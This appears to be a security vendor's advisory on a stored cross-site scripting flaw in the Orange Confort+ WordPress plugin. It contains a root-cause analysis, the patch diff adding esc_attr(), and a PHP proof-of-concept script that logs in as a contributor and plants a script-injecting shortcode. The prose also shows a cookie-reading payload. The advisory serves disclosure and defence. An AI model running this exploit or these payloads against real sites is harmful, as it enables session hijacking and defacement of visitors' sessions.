Atomic Edge analysis of CVE-2026-1808:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Orange Confort+ accessibility toolbar WordPress plugin. The vulnerability affects the plugin’s shortcode rendering functionality, allowing Contributor-level users and above to inject malicious scripts into pages. The CVSS score of 6.4 reflects the authentication requirement and potential impact on site visitors.
Atomic Edge research identifies the root cause as insufficient input sanitization in the `render()` method of the `class-shortcode.php` file. The vulnerable code at line 48 concatenates the user-controlled `$atts[‘style’]` parameter directly into the HTML output without proper escaping. The function receives shortcode attributes through the `shortcode_atts()` function at line 31, which includes the ‘style’ parameter. This parameter flows directly into the `$outline` variable construction without validation.
The exploitation method requires an authenticated attacker with at least Contributor privileges to create or edit a WordPress post or page. The attacker embeds the `[ocplus_button]` shortcode with a malicious ‘style’ attribute containing JavaScript payloads. For example: `[ocplus_button style=”outline”>alert(document.cookie)”]`. When WordPress renders the page containing this shortcode, the plugin processes the attributes and outputs the unsanitized ‘style’ value directly into the HTML document structure, executing the embedded script in visitors’ browsers.
The patch modifies line 48 of `class-shortcode.php` by adding `esc_attr()` function call to sanitize the `$atts[‘style’]` parameter. Previously, the code concatenated the raw user input with the string ‘ is-style-‘. The patched version ensures the style parameter passes through WordPress’s attribute escaping function, which converts special characters to HTML entities. The version number in `plugin.php` updates from 0.7 to 0.7.1, indicating a security release.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of authenticated users visiting the compromised page. This can lead to session hijacking, administrative account takeover, content defacement, or malware distribution. Since the XSS payload stores permanently in the database, all users viewing the affected page trigger the malicious script execution, creating persistent compromise of user sessions and potential administrative privilege escalation.
--- a/orange-confort-plus/inc/class-shortcode.php
+++ b/orange-confort-plus/inc/class-shortcode.php
@@ -28,7 +28,7 @@
public static function render( $atts = array() ) {
// Skip if already rendered.
if ( self::$rendered ) {
- return is_user_loggeg_in() && current_user_can( 'edit_pages' ) ? esc_html__( 'Orange Confort+ button already rendered!', 'orange-confort-plus' ) : '';
+ return is_user_logged_in() && current_user_can( 'edit_pages' ) ? esc_html__( 'Orange Confort+ button already rendered!', 'orange-confort-plus' ) : '';
}
$atts = shortcode_atts(
@@ -41,13 +41,13 @@
);
if ( ! empty( $atts['color'] ) ) {
- $styles[] = 'color:' . esc_attr( $atts['color'] );
+ $styles[] = 'color:' . esc_attr( $atts['color'] );
}
if ( ! empty( $atts['bgcolor'] ) ) {
- $styles[] = 'background-color:' . esc_attr( $atts['bgcolor'] );
+ $styles[] = 'background-color:' . esc_attr( $atts['bgcolor'] );
}
- $outline = ! empty( $atts['style'] ) ? ' is-style-' . $atts['style'] : '';
+ $outline = ! empty( $atts['style'] ) ? ' is-style-' . esc_attr( $atts['style'] ) : '';
$style = isset( $styles ) ? '<style>#uci_link{' . implode( ';', $styles ) . '}</style>' : '';
// Set rendered flag.
--- a/orange-confort-plus/plugin.php
+++ b/orange-confort-plus/plugin.php
@@ -3,7 +3,7 @@
* Plugin Name: Orange Confort+ accessibility toolbar for WordPress
* Plugin URI: https://status301.net/wordpress-plugins/orange-confort-plus/
* Description: Add the Orange Confort+ accessibility toolbar to your WordPress site.
- * Version: 0.7
+ * Version: 0.7.1
* Text Domain: orange-confort-plus
* Author: RavanH
* Author URI: https://status301.net/
@@ -15,7 +15,7 @@
namespace OCplus;
-const VERSION = '0.7';
+const VERSION = '0.7.1';
const SCRIPT_VERSION = '4.3.6';
defined( 'WPINC' ) || die;
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1808 - Orange Confort+ accessibility toolbar for WordPress <= 0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_password';
$post_id = 123; // Target post ID to edit
// Malicious shortcode payload with XSS
$payload = '[ocplus_button style="outline"><script>alert(document.domain)</script>"]';
// Initialize cURL session
$ch = curl_init();
// Step 1: Authenticate and get WordPress nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '?post=' . $post_id . '&action=edit');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
// Extract nonce from edit page (simplified - real implementation would parse HTML)
// This demonstrates the attack flow; actual nonce extraction requires DOM parsing
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
// Step 2: Login to WordPress
$login_url = 'http://vulnerable-wordpress-site.com/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '?post=' . $post_id . '&action=edit',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Step 3: Update post with malicious shortcode
$update_fields = [
'post_ID' => $post_id,
'content' => 'Legitimate post content. ' . $payload . ' More content here.',
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/post.php?post=' . $post_id . '&action=edit',
'save' => 'Update'
];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($update_fields));
$update_response = curl_exec($ch);
// Verify success
if (strpos($update_response, 'Post updated.') !== false) {
echo "Exploit successful! Visit http://vulnerable-wordpress-site.com/?p=" . $post_id . " to trigger XSS.n";
} else {
echo "Exploit may have failed. Check authentication and permissions.n";
}
curl_close($ch);
?>
